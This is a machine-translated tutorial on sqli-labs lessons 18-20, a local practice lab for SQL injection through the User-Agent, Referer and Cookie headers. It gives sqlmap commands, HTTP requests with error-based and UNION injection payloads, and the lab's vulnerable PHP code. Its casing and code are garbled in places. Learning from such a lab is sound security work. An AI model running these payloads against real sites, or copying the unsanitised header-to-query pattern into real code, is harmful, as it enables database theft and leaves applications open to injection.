"Mysql SQL Inject" "Getting Started" Sqli-labs using Part 4 "18-20"

These points of injection point generation are mostly located at the HTTP header location

Common HTTP injection points are generated in "Referer", "X-forwarded-for", "Cookie", "X-real-ip", "Accept-language", "Authorization";

• Less-18 Header Injection-error based-string

1) Tool Usage:
The injection point is at user-agent, so use the Sqlmap-r parameter to save the requested test packet to 1. txt, and then add an * number to the User-agent field. Then enter the following command to use the tool injection

• Sqlmap-r 1.txt–current-db–threads 10–batch–technique Best

Test packet 1. txt

post/hacker/sqli-labs-master/less-18/index.php http/1.1host:127.0.0.1user-agent:mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) gecko/20100101 firefox/47.0*accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q= 0.8accept-language:zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3accept-encoding:gzip, DEFLATEREFERER:HTTP://127.0.0.1/ hacker/sqli-labs-master/less-18/index.phpconnection:closecontent-type:application/ x-www-form-urlencodedcontent-length:38 Uname=admin&passwd=admin&submit=submit

　　

2) Manual Injection
Before the field of all, as long as there are errors back to appear, matching a good single quotation mark can be directly used to verify the injection point updatexml-Error statement;

post/hacker/sqli-labs-master/less-18/index.php http/1.1host:127.0.0.1user-agent:mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) gecko/20100101 firefox/47.0 ' and Updatexml (1,concat (0x7e,database ()), 1) and ' one ' = ' 11accept:text/html, application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8accept-language:zh-cn,zh;q=0.8,en-us;q=0.5,en;q= 0.3accept-encoding:gzip, Deflatereferer:http://127.0.0.1/hacker/sqli-labs-master/less-18/index.phpconnection: closecache-control:max-age=0content-type:application/x-www-form-urlencodedcontent-length:38 uname=admin& Passwd=admin&submit=submit

　　

3) Injection Point generation code

Checks if the value is empty, does not empty use the Mysql_real_escape_string function to filter the input value Check_input ($value) {if (!empty ($value)) {//Trunca    tion (see comments) $value = substr ($value, 0, 20);    }//Stripslashes if Magic quotes enabled if (GET_MAGIC_QUOTES_GPC ()) {$value = Stripslashes ($value);    }//Quote if not a number if (!ctype_digit ($value)) {$value = "'". Mysql_real_escape_string ($value). "'";    } else {$value = Intval ($value); } return $value;} $uagent = $_server[' http_user_agent '); $IP = $_server[' remote_addr '];echo "<br>"; Echo ' Your IP address is: '. $IP; echo "<br>";//echo ' Your User Agent is: '. $uagent;//Take The Variablesif (isset ($_post[' uname ']) && isset (    $_post[' passwd ')) {$uname = Check_input ($_post[' uname ']);    $passwd = Check_input ($_post[' passwd ');    Logging the connection parameters to a file for analysis.    $fp = fopen (' Result.txt ', ' a '); Fwrite ($fp, ' User Agent: '. $uname. '    \ n ");    Fclose ($FP); $sql = "Select Users.username, Users.password from the users WHERE users.username= $uname and users.password= $passwd ORDER by users    . ID DESC LIMIT 0,1 ";    $result 1 = mysql_query ($sql);    $row 1 = mysql_fetch_array ($result 1);        if ($row 1) {echo ' <font color= ' #FFFF00 ' font size = 3 > '; $insert = "INSERT INTO ' security '. ' Uagents ' (' uagent ', ' ip_address ', ' username ') VALUES (' $uagent ', ' $IP ', $uname)"; The injection point produces the position mysql_query ($insert);

　

-less-19 Header Injection-referer-error based-string

This point of injection is generated at Referer, mainly for writing with insert statements when not judged.

Referer: ' and (select 1690 from (select COUNT (*), CONCAT (0x716a707171, (MID () ((Ifnull () ((), 0x20), 1,54 ), 0x717a767671,floor (RAND (0) *)) x from INFORMATION_SCHEMA. Character_sets GROUP by X) a) and ' qmqa ' = ' Qmqa

Playload

The injected statement that is used

Full HTTP request Package

post/sqli-labs-master/less-19/http/1.1host:127.0.0.1user-agent:mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) gecko/20100101 firefox/47.0accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q= 0.8accept-language:zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3accept-encoding:gzip, DEFLATEREFERER:HTTP://127.0.0.1/ sqli-labs-master/less-19/' and Updatexml (1,concat (0x7e,database (), 0x7e), 1) and ' 1 ' = ' 1connection:closecontent-type: Application/x-www-form-urlencodedcontent-length:38uname=admin&passwd=admin&submit=submit

　　

Core code

function Check_input ($value) {if (!empty ($value)) {//truncation (see comments) $value = substr ($value,    0, 20);    }//Stripslashes if Magic quotes enabled if (GET_MAGIC_QUOTES_GPC ()) {$value = Stripslashes ($value);    }//Quote if not a number if (!ctype_digit ($value)) {$value = "'". Mysql_real_escape_string ($value). "'";    } else {$value = Intval ($value); } return $value;} $uagent = $_server[' http_referer '); $IP = $_server[' remote_addr '];echo "<br>", Echo ' Your IP address is: '. $IP; echo " <br> ";//echo ' Your User Agent is: '. $uagent;//Take The Variablesif (isset ($_post[' uname ']) && isset ($_post [' passwd ']))    {$uname = Check_input ($_post[' uname ');    $passwd = Check_input ($_post[' passwd ');    $fp = fopen (' Result.txt ', ' a '); Fwrite ($fp, ' Referer: '. $uname. "    \ n ");    Fclose ($FP); $sql = "Select Users.username, Users.password from the users WHERE users.username= $uname and users.password= $passwd ORDER by U SErs.id DESC LIMIT 0,1 ";    $result 1 = mysql_query ($sql);    $row 1 = mysql_fetch_array ($result 1);        if ($row 1) {echo ' <font color= ' #FFFF00 ' font size = 3 > '; $insert = "INSERT INTO ' security '. ' Referers ' (' referer ', ' ip_address ') VALUES (' $uagent ', ' $IP ')"; Injection point Generation mysql_query ($insert);

　　

-less-20 Cookie Injection-error based-string
Playload

cookie:dumb-4829 ' UNION all SELECT null,concat (0x7170786271,ifnull (DATABASE () as CHAR), 0x20), 0x7176706271), NULL---

　　

Core code

1, receive the user name, password, 2, if correct, set the user name as the cookie value 3, the query database has no relevant user name equals the cookie name 144-147 line code $cookee = Base64_decode ($cookee); echo "< Br></font> "; $sql =" SELECT * from Users WHERE username= (' $cookee ') LIMIT 0,1 "; $result =mysql_query ($sql); 188-189 code echo "Your Cookie is deleted"; Setcookie (' uname ', Base64_encode ($row 1[' username ']), time ()-3600);

　　

"Mysql SQL Inject" "Getting Started" Sqli-labs using Part 4 "18-20"